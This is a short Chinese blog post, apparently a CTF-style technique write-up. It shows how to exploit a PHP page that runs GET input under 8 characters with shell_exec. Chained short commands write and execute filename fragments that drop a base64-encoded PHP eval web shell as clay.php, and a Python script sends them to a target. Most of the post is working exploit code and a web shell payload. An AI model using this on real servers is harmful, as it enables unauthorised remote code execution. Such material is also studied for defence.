Linux下短字符写shell

Linux下短字符写shell.

Posted by Rootclay on 2017-01-26

Linux下短字符写shell

代码

1
2
3
4
5
<?php
if(strlen($_GET[1]) < 8) {
echo shell_exec($_GET[1]);
}
?>

背景知识

1、linux下写文件

1
a>1.txt

这样就会在本目录下生成一个1.txt文件,内容会有a

2、linux下本行无法执行完命令时

1
2
echo 1>\
1.php

这样会在本目录下生成一个1.php,内容为1

3、ls
ls命令会列出本目录下的所有文件和目录

1
ls -t

这条命令会按时间倒叙列出本目录的所有文件

正题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
w>hp
w>y.p\\
w>cla\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t>0
sh 0

当我们在bash中执行上面的语句时,会在本目录下生成一个clay.php内容为

1
<?php eval($_GET[1]);

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# coding:utf-8
import requests
url = "http://127.0.0.1/"
with open("file.txt", "r") as f:
for i in f:
index = requests.get(url, params=i)
print "已经请求%s" % i
url_fix = url + "clay.php"
res = requests.get(url_fix)
print res.status_code